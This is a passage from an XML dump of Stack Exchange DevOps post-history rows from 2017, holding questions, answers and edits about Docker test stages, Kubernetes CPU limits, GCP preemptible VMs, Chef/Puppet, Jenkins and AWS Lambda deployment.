DevOps should consider politely suggesting that perhaps they aren't the right fit. their customer can hire a generic code monkey from anywhere if they want to continue to (unsuccessfully) continue to do projects the way they have always done them." ContentLicense="CC BY-SA 3.0" />
  <row Id="4718" PostHistoryTypeId="2" PostId="1451" RevisionGUID="76c0deb9-a1c5-4d39-88de-ddebd39027b3" CreationDate="2017-06-27T19:40:17.920" UserId="3175" Text="I'm not an expert on this, but maintaining separate pom files seems like a recipe for things to get out of sync.&#xD;&#xA;&#xD;&#xA;It would make more sense to define specific dependencies within the same pom.xml and execute them depending on specific goals or targets.  I.e. -Pdev.&#xD;&#xA;&#xD;&#xA;You could also then define a list of shared dependencies used by all targets (i.e. chrome driver or what not), and specific dependencies for each target." ContentLicense="CC BY-SA 3.0" />
  <row Id="4722" PostHistoryTypeId="2" PostId="1453" RevisionGUID="9c692646-4e46-40fd-8c1f-c01d1447720e" CreationDate="2017-06-27T22:04:05.063" UserId="2845" Text="I would argue that referring to these milestones as &quot;phases&quot; would be preferable to &quot;stages.&quot; This is because &quot;staging&quot; is already a more prevalent term in use in the industry.&#xD;&#xA;&#xD;&#xA;[Staging](https://en.wikipedia.org/wiki/Deployment_environment#Staging) refers to a [specific environment](https://softwareengineering.stackexchange.com/a/117985) used for [walking through testing the deployment process](http://windowsitpro.com/windows-client/development-staging-and-production-model). It is distinct from the [QA environment used for bug testing and sanity checking and testing environments used for User Acceptance  &amp; integration Testing (UAT)](https://serverfault.com/questions/264401/what-is-the-point-of-staging). All of these could be considered types of test environments.&#xD;&#xA;&#xD;&#xA;The origin of this term comes from [theater](https://en.wikipedia.org/wiki/Staging_(theatre,_film,_television)) in which actors will walk through a scene - often stopping to adjust, clarify, and note physical positions on stage. This if often also referred to as &quot;blocking&quot; in theater. &#xD;&#xA;&#xD;&#xA;Thus, if you call these milestones &quot;stages&quot; you coud end up having a &quot;staging stage&quot; and for the sake of clarity, &quot;staging [phase](https://en.wikipedia.org/wiki/Project_management#Phased_approach)&quot; or &quot;staging [milestone](https://en.wikipedia.org/wiki/Milestone_(project_management))&quot; would be preferable and more prevalant. These are the more common and customary terms, driven by the terminology of [project management](https://en.wikipedia.org/wiki/Project_management).&#xD;&#xA;&#xD;&#xA;I would typically disrecommend using the term &quot;testing&quot; to refer to an environment, because it can be confusing as to *which* testing environment you are referring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4723" PostHistoryTypeId="2" PostId="1454" RevisionGUID="fa742042-b74d-4b18-908f-f32db59170a7" CreationDate="2017-06-28T00:58:12.560" UserId="3300" Text="I'm a senior engineer, in that capacity I make hires.&#xD;&#xA;&#xD;&#xA;At this point in the devops progression, I'd find it difficult to hire a Test who could not easily transition to a Infrastructure Engineer role (what others might call Devops role)&#xD;&#xA;&#xD;&#xA;I would not expect a tester for instance to know the intricacies of JVM multithreading or be very opinionated in python class design. I would expect them to be able to understand the source that they may write stub code or generate synthetic data.&#xD;&#xA;&#xD;&#xA;I would expect a modern tester to know the basic arsenal of devops within my team. That would include: the provisioning of bare metal servers using our CM tools, the deployment of code via various artifacts or containers. &#xD;&#xA;&#xD;&#xA;I would further require them to have some capacity as a Data Engineer in the sense of knowing how the data moves through a system. Thinking about where the single points of failures are and how to simulate failures, throttling etc.&#xD;&#xA;&#xD;&#xA;I would never hire a tester to perform module level testing, which I would define as the interaction of a handful of classes (say 1-20) behind a network barrier. &#xD;&#xA;&#xD;&#xA;tl;dr I would hire testers to setup environments, simulate (or replay) data through that environment and to cause chaos in the environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostHistoryTypeId="5" PostId="1453" RevisionGUID="149d209c-701f-465e-86e1-b7b5faaf6fce" CreationDate="2017-06-28T06:41:07.180" UserId="2845" Comment="edited body" Text="I would argue that referring to these milestones as &quot;phases&quot; would be preferable to &quot;stages.&quot; This is because &quot;staging&quot; is already a more prevalent term in use in the industry.&#xD;&#xA;&#xD;&#xA;[Staging](https://en.wikipedia.org/wiki/Deployment_environment#Staging) refers to a [specific environment](https://softwareengineering.stackexchange.com/a/117985) used for [walking through testing the deployment process](http://windowsitpro.com/windows-client/development-staging-and-production-model). It is distinct from the [QA environment used for bug testing and sanity checking and testing environments used for User Acceptance  &amp; integration Testing (UAT)](https://serverfault.com/questions/264401/what-is-the-point-of-staging). All of these could be considered types of test environments.&#xD;&#xA;&#xD;&#xA;The origin of this term comes from [theater](https://en.wikipedia.org/wiki/Staging_(theatre,_film,_television)) in which actors will walk through a scene - often stopping to adjust, clarify, and note physical positions on stage. This is often also referred to as &quot;blocking&quot; in theater. &#xD;&#xA;&#xD;&#xA;Thus, if you call these milestones &quot;stages&quot; you coud end up having a &quot;staging stage&quot; and for the sake of clarity, &quot;staging [phase](https://en.wikipedia.org/wiki/Project_management#Phased_approach)&quot; or &quot;staging [milestone](https://en.wikipedia.org/wiki/Milestone_(project_management))&quot; would be preferable and more prevalant. These are the more common and customary terms, driven by the terminology of [project management](https://en.wikipedia.org/wiki/Project_management).&#xD;&#xA;&#xD;&#xA;I would typically disrecommend using the term &quot;testing&quot; to refer to an environment, because it can be confusing as to *which* testing environment you are referring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4726" PostHistoryTypeId="5" PostId="1453" RevisionGUID="16d34975-ac9d-4617-bc99-cde76e7d1812" CreationDate="2017-06-28T08:17:35.413" UserId="13" Comment="added 2 characters in body" Text="I would argue that referring to these milestones as &quot;phases&quot; would be preferable to &quot;stages.&quot; This is because &quot;staging&quot; is already a more prevalent term in use in the industry.&#xD;&#xA;&#xD;&#xA;[Staging](https://en.wikipedia.org/wiki/Deployment_environment#Staging) refers to a [specific environment](https://softwareengineering.stackexchange.com/a/117985) used for [walking through testing the deployment process](http://windowsitpro.com/windows-client/development-staging-and-production-model). It is distinct from the [QA environment used for bug testing and sanity checking and testing environments used for User Acceptance  &amp; integration Testing (UAT)](https://serverfault.com/questions/264401/what-is-the-point-of-staging). All of these could be considered types of test environments.&#xD;&#xA;&#xD;&#xA;The origin of this term comes from [theater](https://en.wikipedia.org/wiki/Staging_(theatre,_film,_television)) in which actors will walk through a scene - often stopping to adjust, clarify, and note physical positions on stage. This is often also referred to as &quot;blocking&quot; in theater. &#xD;&#xA;&#xD;&#xA;Thus, if you call these milestones &quot;stages&quot; you could end up having a &quot;staging stage&quot; and for the sake of clarity, &quot;staging [phase](https://en.wikipedia.org/wiki/Project_management#Phased_approach)&quot; or &quot;staging [milestone](https://en.wikipedia.org/wiki/Milestone_(project_management))&quot; would be preferable and more prevalent. These are the more common and customary terms, driven by the terminology of [project management](https://en.wikipedia.org/wiki/Project_management).&#xD;&#xA;&#xD;&#xA;I would typically dis-recommend using the term &quot;testing&quot; to refer to an environment, because it can be confusing as to *which* testing environment you are referring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4727" PostHistoryTypeId="50" PostId="1255" RevisionGUID="7eafeae4-3ea7-44c0-93db-27f2805a9927" CreationDate="2017-06-28T09:02:19.327" UserId="-1" />
  <row Id="4728" PostHistoryTypeId="2" PostId="1455" RevisionGUID="b4de1972-e69c-4251-ae97-00238bd25c34" CreationDate="2017-06-28T10:51:40.757" UserId="3307" Text="Our dockerfile creates the application environment (e.g. env variables, install libraries with apt-get etc.). It also pulls and copies the python application code from its git repo.&#xD;&#xA;&#xD;&#xA;However, we are debating whether the application tests (some unit, some integration) should be put within a docker `RUN` command (e.g. `RUN /bin/bash -c &quot;source activate cool_env; pytest&quot;`) or after the build using the CI stack (e.g. Jenkins, Openshift) to execute the tests on the built container.&#xD;&#xA;&#xD;&#xA;What are the pros and cons of each?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4729" PostHistoryTypeId="1" PostId="1455" RevisionGUID="b4de1972-e69c-4251-ae97-00238bd25c34" CreationDate="2017-06-28T10:51:40.757" UserId="3307" Text="What are the pros and cons of running application testing during vs. after a docker build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4730" PostHistoryTypeId="3" PostId="1455" RevisionGUID="b4de1972-e69c-4251-ae97-00238bd25c34" CreationDate="2017-06-28T10:51:40.757" UserId="3307" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;testing&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostHistoryTypeId="2" PostId="1456" RevisionGUID="2974aed4-e7c9-4119-8645-ed753b1126cd" CreationDate="2017-06-28T12:58:12.367" UserId="707" Text="PRO: you have solved the CasC challenge for configuring the testing environment inline as well&#xD;&#xA;&#xD;&#xA;CON: you miss the blackbox tesing part, imagine your container wouldn't accepts connections from outside.&#xD;&#xA;&#xD;&#xA;I'd go therefore for a multi-stage Docker-based declarative pipeline: one Docker environment for each stage where artefacts cascade along it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostHistoryTypeId="5" PostId="1456" RevisionGUID="407df0a0-d13d-4b73-b46e-152cc742aece" CreationDate="2017-06-28T14:36:22.060" UserId="707" Comment="added 83 characters in body" Text="If you run everything in the same container...&#xD;&#xA;&#xD;&#xA;**PRO:** you have solved the CasC challenge for configuring the testing environment inline as well&#xD;&#xA;&#xD;&#xA;**CON:** you miss the blackbox tesing part, imagine your container wouldn't accepts connections from outside. Ouch!&#xD;&#xA;&#xD;&#xA;Possible solution: I'd go therefore for a multi-stage Docker-based declarative pipeline: one Docker environment for each stage where artefacts cascade along it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostHistoryTypeId="2" PostId="1457" RevisionGUID="3d1a2cf0-b1ba-4422-b909-00f16f8074ae" CreationDate="2017-06-28T14:46:56.270" UserId="47" Text="I support J.Doe's suggestion for separate Docker files for each of the build and test stage. Such approach also allows you to:&#xD;&#xA;&#xD;&#xA;- re-run the test stage for whatever reason (known intermittent failures, for example) without re-doing the build stage&#xD;&#xA;- run multiple *different* test stages in parallel using the same build - for example instead of running a single long test stage made up of serialized tests, for a potentially significant overall pipeline speeding up." ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostHistoryTypeId="2" PostId="1458" RevisionGUID="74d2d0f9-bc00-4489-b8d6-149b1aaead94" CreationDate="2017-06-29T11:33:34.257" UserId="342" Text="I created instance template with Preemptibility policy, attach it to Instance groups behind LB.&#xD;&#xA;&#xD;&#xA;Because GCP Compute Engine always terminates preemptible instances after they run for 24 hours, I need a way to launch new preemptible VMs before they goes down.&#xD;&#xA;&#xD;&#xA;Is GCP Compute Engine lanuch new preemptible VMs before the current ones goes down ?&#xD;&#xA;&#xD;&#xA;Maybe need to replace the Preemptible VMs several hours before they going down, &#xD;&#xA;&#xD;&#xA;I am not sure what is the best way to do it, maybe with termination notices.&#xD;&#xA;&#xD;&#xA;Basically what I need is to keep Preemptible VMs behind the LB.&#xD;&#xA;&#xD;&#xA;What is the best way to implement this? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4735" PostHistoryTypeId="1" PostId="1458" RevisionGUID="74d2d0f9-bc00-4489-b8d6-149b1aaead94" CreationDate="2017-06-29T11:33:34.257" UserId="342" Text="How to keep GCP Preemptible VMs behind LB" ContentLicense="CC BY-SA 3.0" />
  <row Id="4736" PostHistoryTypeId="3" PostId="1458" RevisionGUID="74d2d0f9-bc00-4489-b8d6-149b1aaead94" CreationDate="2017-06-29T11:33:34.257" UserId="342" Text="&lt;gcp&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostHistoryTypeId="5" PostId="1458" RevisionGUID="0249f629-f330-4f34-b5d9-cdbaee31840b" CreationDate="2017-06-29T11:44:42.830" UserId="342" Comment="added 125 characters in body" Text="I created preemptible instances in a managed instance group behind LB, I specified the preemptible option in the instance template.&#xD;&#xA;&#xD;&#xA;Because GCP Compute Engine always terminates preemptible instances after they run for 24 hours, I need a way to launch new preemptible VMs before they goes down.&#xD;&#xA;&#xD;&#xA;Is GCP Compute Engine lanuch new preemptible VMs before the current ones goes down ?&#xD;&#xA;&#xD;&#xA;Maybe need to replace the Preemptible VMs several hours before they going down, &#xD;&#xA;&#xD;&#xA;I am not sure what is the best way to do it, maybe with termination notices.&#xD;&#xA;&#xD;&#xA;Basically what I need is to keep Preemptible VMs behind the LB.&#xD;&#xA;&#xD;&#xA;What is the best way to implement this? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4738" PostHistoryTypeId="5" PostId="1458" RevisionGUID="61c32f07-bc65-492d-8fa6-0553f6c3abd6" CreationDate="2017-06-29T11:49:49.503" UserId="342" Comment="added 125 characters in body" Text="I created preemptible instances in a managed instance group behind LB, I specified the preemptible option in the instance template.&#xD;&#xA;&#xD;&#xA;Because GCP Compute Engine always terminates preemptible instances after they run for 24 hours, I need a way to launch new preemptible VMs before they goes down.&#xD;&#xA;&#xD;&#xA;Is GCP Compute Engine launch new preemptible VMs before the current ones goes down when target size specified by the autoscaler ?&#xD;&#xA;&#xD;&#xA;Maybe need to replace the Preemptible VMs several hours before they going down, &#xD;&#xA;&#xD;&#xA;I am not sure what is the best way to do it, maybe with termination notices.&#xD;&#xA;&#xD;&#xA;Basically what I need is always to keep on Preemptible VMs behind the LB.&#xD;&#xA;&#xD;&#xA;What is the best way to implement this? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostHistoryTypeId="4" PostId="1458" RevisionGUID="00ec9115-4fb3-4ee2-b105-c14d59432b80" CreationDate="2017-06-29T12:11:32.683" UserId="342" Comment="edited title" Text="How to recreate GCP Preemptible VMs behind LB before they expire?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4743" PostHistoryTypeId="2" PostId="1460" RevisionGUID="eaf66d3c-a3a2-4221-9234-bb02958dacee" CreationDate="2017-06-29T21:52:31.067" UserId="3325" Text="I would like to use Azure Chef server (or Puppet, or any other solution) from Azure to manage my infrastructure (around 25 servers and 20 desktops) wich is on-premise behind a corporate firewall.&#xD;&#xA;&#xD;&#xA;Is that possible? I tried searching for a similar solution but all I can find are articles how to manage Azure infrastructures." ContentLicense="CC BY-SA 3.0" />
  <row Id="4744" PostHistoryTypeId="1" PostId="1460" RevisionGUID="eaf66d3c-a3a2-4221-9234-bb02958dacee" CreationDate="2017-06-29T21:52:31.067" UserId="3325" Text="Can I run Chef/Puppet server from Azure and manage my on-premise infrastructure?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostHistoryTypeId="3" PostId="1460" RevisionGUID="eaf66d3c-a3a2-4221-9234-bb02958dacee" CreationDate="2017-06-29T21:52:31.067" UserId="3325" Text="&lt;chef&gt;&lt;azure&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4746" PostHistoryTypeId="2" PostId="1461" RevisionGUID="e4a9af8d-99e0-4fe6-9cf9-fa53ec06fe3f" CreationDate="2017-06-30T07:48:32.417" UserId="13" Text="The prerequisites for a chef server are [here](https://docs.chef.io/install_server_pre.html) and common to any installation.&#xD;&#xA;&#xD;&#xA;You only need to allow https to port 443 from your inner infrastructure to the cloud server.&#xD;&#xA;&#xD;&#xA;If you have a proxy with SSL interception I'd recommend adding this proxy certificate to each client `cacert.pem` and set an environment variable `SSL_CERT_FILE=&lt;chef_install_path&gt;embedded/ssl/certs/cacert.pem` so other call from different ruby tools using openssl will also work.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostHistoryTypeId="2" PostId="1462" RevisionGUID="c48c3133-8f37-499c-a954-a576647b69f6" CreationDate="2017-06-30T10:29:57.230" UserId="3332" Text="I am a .NET developer , I have decided to learn DevOps continuous integration tools.&#xD;&#xA;&#xD;&#xA;One of my folk asked me to learn below tools and language:&#xD;&#xA;&#xD;&#xA;1. Jenkins &#xD;&#xA;2. Shell Scripting&#xD;&#xA;3. Python&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have found below learning resources to be usefull.&#xD;&#xA;&#xD;&#xA;**Free Videos**&#xD;&#xA;&#xD;&#xA;1. https://www.youtube.com/watch?v=p7-U1_E_j3w&#xD;&#xA;&#xD;&#xA;2.  https://www.youtube.com/watch?v=89yWXXIOisk&amp;t=89s&#xD;&#xA;&#xD;&#xA;**Free Course**&#xD;&#xA;&#xD;&#xA;1. https://www.udacity.com/course/intro-to-devops--ud611&#xD;&#xA;&#xD;&#xA;**Paid Course**&#xD;&#xA;&#xD;&#xA;1. https://www.udemy.com/the-complete-jenkins-course-for-developers-and-devops/&#xD;&#xA;&#xD;&#xA;**Training Materials**&#xD;&#xA;&#xD;&#xA;https://gist.github.com/ssmythe/ae1449b116ece85dc10d&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is their any other resources available by which one can master Jenkins and continuous integration ?&#xD;&#xA;&#xD;&#xA;Any resource available to get started shell scripting and Python language ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4748" PostHistoryTypeId="1" PostId="1462" RevisionGUID="c48c3133-8f37-499c-a954-a576647b69f6" CreationDate="2017-06-30T10:29:57.230" UserId="3332" Text="Best learning resources for continuous integration tools like Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="4749" PostHistoryTypeId="3" PostId="1462" RevisionGUID="c48c3133-8f37-499c-a954-a576647b69f6" CreationDate="2017-06-30T10:29:57.230" UserId="3332" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;python&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4750" PostHistoryTypeId="2" PostId="1463" RevisionGUID="1373e73e-6dab-4d9d-84d5-c1ef35a50185" CreationDate="2017-06-30T11:16:39.637" UserId="3335" Text="Is there have any module which could help to manage policykit rules on puppet for Ubuntu 16.04 instead of putting file on /etc/polkit-1/localauthority/50-local.d ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostHistoryTypeId="1" PostId="1463" RevisionGUID="1373e73e-6dab-4d9d-84d5-c1ef35a50185" CreationDate="2017-06-30T11:16:39.637" UserId="3335" Text="puppet module manage policykit rule on Ubuntu 16.04" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostHistoryTypeId="3" PostId="1463" RevisionGUID="1373e73e-6dab-4d9d-84d5-c1ef35a50185" CreationDate="2017-06-30T11:16:39.637" UserId="3335" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4753" PostHistoryTypeId="2" PostId="1464" RevisionGUID="357660ee-5bac-4da8-8630-3554f22f30f4" CreationDate="2017-06-30T14:45:13.787" UserId="2845" Text="It appears that [there is](https://forge.puppet.com/jhoblitt/policykit/readme). For future reference, the best place to look for puppet modules generally is to search [Puppet Forge](https://forge.puppet.com). That is the central repository for modules and any module uploaded there can be installed using puppet by typing:&#xD;&#xA;&#xD;&#xA;    puppet module install jhoblitt-policykit&#xD;&#xA;&#xD;&#xA;But obviously, you will want to update the name of the module to be whatever you want to install." ContentLicense="CC BY-SA 3.0" />
  <row Id="4754" PostHistoryTypeId="2" PostId="1465" RevisionGUID="837a9f86-e3a4-4fed-bb2a-08d3e169d601" CreationDate="2017-06-30T15:19:14.263" UserId="2845" Text="The Reddit thread asks:&#xD;&#xA;&#xD;&#xA;&gt;Why is the Docker Mind Shift so hard?&#xD;&#xA;&#xD;&#xA;The OP then links to [The Docker Mind Shift](https://surfingthe.cloud/the-docker-mind-shift/) and states that&#xD;&#xA;&#xD;&#xA;&gt;The Docker Mind Shift helps explain the challenges many people struggle with, in DevOps and containers. Thoughts?&#xD;&#xA;&#xD;&#xA;(Currently,) the highest upvoted comment states&#xD;&#xA;&#xD;&#xA;&gt;to be honest my biggest challenges have been with the speed of tooling changes rather than the concepts. In theory, i get the workflow and ideas behind docker fairly well, but in practice sometimes it does feel like you're throwing a whole load of plates up in the air and then walking off before they hit the ground again. I get that as a new tech idea it moves fast, but just trying to keep up with the ever moving goalposts can be exhausting. It does seem to have gotten better in the last 2 years though to be fair.&#xD;&#xA;&#xD;&#xA;In response to this comment, [sirex007](https://www.reddit.com/user/sirex007) responds&#xD;&#xA;&#xD;&#xA;&gt;after finishing any reasonably sized project in docker, i'm always reminded of this image&#xD;&#xA;&#xD;&#xA;and links to the above image. This image is attempting to comically illustrate the confusion many feel with the world of DevOps. There is a smorgasboard of toolkits and frameworks out there, and the bullets in the image are a commentary of the nonsense of the diagram to the right.&#xD;&#xA;&#xD;&#xA;This is seen in the first bullet:&#xD;&#xA;&#xD;&#xA;&gt;  * Did you just pick things at random?&#xD;&#xA;&#xD;&#xA;The subsequent bullets then expand on this question. For example, [Redis is a caching system and stores key-value pairs](https://en.wikipedia.org/wiki/Redis). Similarly, [MongoDB](https://en.wikipedia.org/wiki/MongoDB) is a type of [NoSQL database](https://en.wikipedia.org/wiki/NoSQL) which *also* supports [key/value pairs](https://en.wikipedia.org/wiki/NoSQL#Key-value_store) and [caching](https://stackoverflow.com/questions/17534628/understand-mongodb-cache-system), so it is a little silly to have both Redis and MongoDB.&#xD;&#xA;&#xD;&#xA;It seems that sirex007 feels that this graphic illustrates the point that `I get that as a new tech idea it moves fast, but just trying to keep up with the ever moving goalposts can be exhausting.` and `my biggest challenges have been with the speed of tooling changes` as there are a lot of trendy tools appearing in the graphic, which is making the point that the implementer doesn't seem to understand the toolkits in use in his or her stack well.&#xD;&#xA;&#xD;&#xA;This is a fair point: with the DevOps goal of rapid iteration and deployments, the appearance of new tools on a frequent basis and the changes within those tools could certainly seem like they are moving at a breakneck pace. I would argue that this is evidence of the success of the DevOps model however. If these projects are able to successfully iterate rapidly using DevOps, it is proof of the model's successes - though perhaps the cost is trying to keep up with that rapid pace." ContentLicense="CC BY-SA 3.0" />
  <row Id="4755" PostHistoryTypeId="2" PostId="1466" RevisionGUID="310b0cad-b959-4975-a629-d385593a1960" CreationDate="2017-06-30T21:10:54.023" UserId="3346" Text="Here are the  resources which might be useful for . continuous integration &#xD;&#xA;Below . you might be visited but as novice . it will be easy to understand.&#xD;&#xA;&#xD;&#xA;jenkins:-&#xD;&#xA;&#xD;&#xA;https://www.tutorialspoint.com/jenkins/jenkins_git_setup.htm&#xD;&#xA;&#xD;&#xA;Shell Scripting :-&#xD;&#xA; I would . suggest . to start with basic unix commands  like . cp,mv, file related and . permissions etc.. (Basic stuff). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Its good to have . some practise  on the system so that you can  get an Idea . Because as a Devops engineer we should be strong enough on Basic . stuff.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4756" PostHistoryTypeId="50" PostId="1267" RevisionGUID="bbe84669-c9fe-4940-be3e-cc9ea00c13dc" CreationDate="2017-06-30T21:24:09.543" UserId="-1" />
  <row Id="4758" PostHistoryTypeId="2" PostId="1467" RevisionGUID="da8fbe59-2d76-4165-91d7-48191b3e50f3" CreationDate="2017-07-01T04:01:21.580" UserId="2980" Text="My solution to this problem was to rework my Services. The setup in my question had one K8s `Service` with ~10 ports. I reworked the setup to use one port per `Service`. The problem went away. I don't know why though. This makes me suspect something on the nodes themselves or some complexity in routing connections to the correct node port. I'm cautious of exposing too many ports again because of this." ContentLicense="CC BY-SA 3.0" />
  <row Id="4759" PostHistoryTypeId="2" PostId="1468" RevisionGUID="8b674c76-9d25-403c-b9ef-9479cc6e092e" CreationDate="2017-07-01T04:28:57.023" UserId="2980" Text="We recently switched over our production environment to Kubernetes. I'd like to enforce CPU limits on the containers. I'm getting conflicting CPU metrics that do not fit together. Here's my setup:&#xD;&#xA;&#xD;&#xA;* DataDog agents running as a `Daemonset`&#xD;&#xA;* Existing applications running without CPU Limits&#xD;&#xA;* Containers in question are multi-threaded Ruby applications&#xD;&#xA;* Two metrics: `kubernetes.cpu.usage.{avg,max}` and `docker.cpu.usage`&#xD;&#xA;* `c4.xlarge` cluster nodes (4 vCPUs or 4000m in Kubernetes terms)&#xD;&#xA;&#xD;&#xA;`kubernetes.cpu.usage.max` reports ~600m for the containers in question. `docker.cpu.usage` reports ~60%. It follows that a 1000m CPU limit would be more than enough capacity under normal operation. &#xD;&#xA;&#xD;&#xA;I set the limit to 1000m. Then `docker.container.throttles` goes up significantly while `kubernetes.cpu.usage.max` and `docker.cpu.usage` stay the same. The system all fells to it's knees during this time. This does not make sense to me.&#xD;&#xA;&#xD;&#xA;I researched Docker stats. It seems that `docker stats` (and the underlying API) _normalize_ load according to CPU cores. So in my case, `docker.cpu.usage` of 60% comes (4000m * 0.60) to 2400m in Kubernetes terms. However this does not correlate with any Kubernetes numbers. I did another experiment to test my hypothesis that Kubernetes numbers are incorrect. I set the limit to 2600m (for some extra headroom). This did not result in any throttles. However Kubernetes observed CPU usage did not change. This leaves me confused.&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA;* Does this feel like a bug in Kubernetes (or something in the stack?)&#xD;&#xA;* Is my understanding correct?&#xD;&#xA;&#xD;&#xA;My follow up question relates to how to properly determine CPU for Ruby applications. One container uses Puma. This is a multi-threaded web server with a configurable amount of threads. HTTP requests are handled by one of the threads. The second application is a thrift server using the threaded server. Each incoming TCP connection is handled by it's own thread. The thread exits when the connection closes. Ruby as GIL (Global Interpreter Lock) so only one thread can execute Ruby code at a time. That does allow for multiple threads executing IO and things like that.&#xD;&#xA;&#xD;&#xA;I think the best approach is limit the number of threads running in each application and approximating Kubernetes CPU limits based on the number of threads. The processes are not forking so total CPU usage is harder to predict. &#xD;&#xA;&#xD;&#xA;The question here is: how to properly predict CPU usage and limits for these applications?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4760" PostHistoryTypeId="1" PostId="1468" RevisionGUID="8b674c76-9d25-403c-b9ef-9479cc6e092e" CreationDate="2017-07-01T04:28:57.023" UserId="2980" Text="Conflicting Kubernetes CPU usage &amp; Docker Container Metrics" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostHistoryTypeId="3" PostId="1468" RevisionGUID="8b674c76-9d25-403c-b9ef-9479cc6e092e" CreationDate="2017-07-01T04:28:57.023" UserId="2980" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostHistoryTypeId="50" PostId="292" RevisionGUID="15bc5d18-19c3-47d6-b768-6944406438ad" CreationDate="2017-07-01T22:02:36.140" UserId="-1" />
  <row Id="4763" PostHistoryTypeId="2" PostId="1469" RevisionGUID="292c421f-4d4a-4c01-acf4-071e33540d73" CreationDate="2017-07-02T18:46:16.337" UserId="3361" Text="I have a simple Lambda function that I'm trying to deploy through Jenkins -&#xD;&#xA;&#xD;&#xA;    public String handleRequest(String input, Context context) {&#xD;&#xA;    		String output = &quot;&quot;;&#xD;&#xA;    		if (input.isEmpty()) {&#xD;&#xA;    			output = &quot;No input provided&quot;;&#xD;&#xA;    		} else {&#xD;&#xA;    			output = &quot;Hello, &quot; + input + &quot;! Checking invocation - 1&quot;;&#xD;&#xA;    		}&#xD;&#xA;    		return output;&#xD;&#xA;    	}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm able to deploy and invoke this through Eclipse's AWS Lambda plugin without any problems.&#xD;&#xA;&#xD;&#xA;I'm using the AWS Lambda plugin for Jenkins and following their [documentation](https://wiki.jenkins.io/display/JENKINS/AWS+Lambda+Plugin).&#xD;&#xA;&#xD;&#xA; - I'm providing my [Git repository](https://github.com/anishsana/HelloFunction/) as the source.&#xD;&#xA; - Artifact Location - `src/main/java/`&#xD;&#xA; - Handler Name - `lambda.Hello` (*lambda* is the package name and *Hello* is the class name). I've also tried using `lambda.Hello.handleRequest`,  `lambda.Hello::handleRequest` and other variations.&#xD;&#xA;&#xD;&#xA;Jenkins says that the build was successful but when I test it on the AWS console, I'm getting -&#xD;&#xA;&#xD;&#xA;    &quot;errorMessage&quot;: &quot;Class not found: lambda.Hello&quot;,&#xD;&#xA;      &quot;errorType&quot;: &quot;class java.lang.ClassNotFoundException&quot;&#xD;&#xA;&#xD;&#xA;Where am I going wrong here? When I export the test function from AWS and unzip it, I can see that code on Git definitely got deployed but it's unable find the class." ContentLicense="CC BY-SA 3.0" />
  <row Id="4764" PostHistoryTypeId="1" PostId="1469" RevisionGUID="292c421f-4d4a-4c01-acf4-071e33540d73" CreationDate="2017-07-02T18:46:16.337" UserId="3361" Text="How can I deploy an AWS Lambda function from Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostHistoryTypeId="3" PostId="1469" RevisionGUID="292c421f-4d4a-4c01-acf4-071e33540d73" CreationDate="2017-07-02T18:46:16.337" UserId="3361" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;continuous-deployment&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4766" PostHistoryTypeId="2" PostId="1470" RevisionGUID="fdbc9f08-a155-4ec8-9ab4-9df464391a1e" CreationDate="2017-07-02T22:02:56.873" UserId="6" Text="We are looking to inspect the ASG EC2 CloudWatch metrics such as CPU and Memory, since it includes an aggregate of all the ASG instances.&#xD;&#xA;&#xD;&#xA;Given that we know the ECS cluster, or the ECS service name. Which API calls would be needed to figure out the name of the Auto Scaling Group and its CloudWatch metrics?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4767" PostHistoryTypeId="1" PostId="1470" RevisionGUID="fdbc9f08-a155-4ec8-9ab4-9df464391a1e" CreationDate="2017-07-02T22:02:56.873" UserId="6" Text="What is the best way to find the Auto Scaling Group of an ECS cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4768" PostHistoryTypeId="3" PostId="1470" RevisionGUID="fdbc9f08-a155-4ec8-9ab4-9df464391a1e" CreationDate="2017-07-02T22:02:56.873" UserId="6" Text="&lt;amazon-ec2&gt;&lt;amazon-cloudwatch&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
